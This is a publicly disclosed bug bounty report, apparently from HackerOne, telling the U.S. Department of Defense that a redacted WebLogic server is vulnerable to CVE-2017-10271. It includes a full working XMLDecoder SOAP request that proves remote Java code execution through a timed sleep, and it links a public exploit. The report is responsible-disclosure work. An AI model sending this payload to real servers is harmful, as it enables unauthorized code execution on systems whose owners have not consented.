U.S. Dept Of Defense: RCE on █████ via CVE-2017-10271

2019-05-1022:23:31

erbbysam

hackerone.com

599

0.974 High

EPSS

Percentile

99.9%

JSON

Summary:
Happy Friday! The server at ██████ is vulnerable to CVE-2017-10271 “Oracle WebLogic Server Remote Command Execution”.

Description:
The following request takes 12 seconds (12000 milliseconds) to complete:

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: ██████████
Content-Length: 423
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*

&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"&gt;
  &lt;soapenv:Header&gt;
    &lt;work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"&gt;
      &lt;java class="java.beans.XMLDecoder"&gt;
        &lt;object class="java.lang.Thread" method="sleep"&gt;
          &lt;long&gt;12000&lt;/long&gt;
        &lt;/object&gt;
      &lt;/java&gt;
    &lt;/work:WorkContext&gt;
  &lt;/soapenv:Header&gt;
  &lt;soapenv:Body/&gt;
&lt;/soapenv:Envelope&gt;

This proves that I have Java code execution on the remote server.

ref: https://techblog.mediaservice.net/2018/07/cve-2017-10271-oracle-weblogic-server-remote-command-execution-sleep-detection-payload/

Public exploits for this exist: https://github.com/c0mmand3rOpSec/CVE-2017-10271
I was not able to use that script with a ping command, which might have been blocked by preventing outbound connections.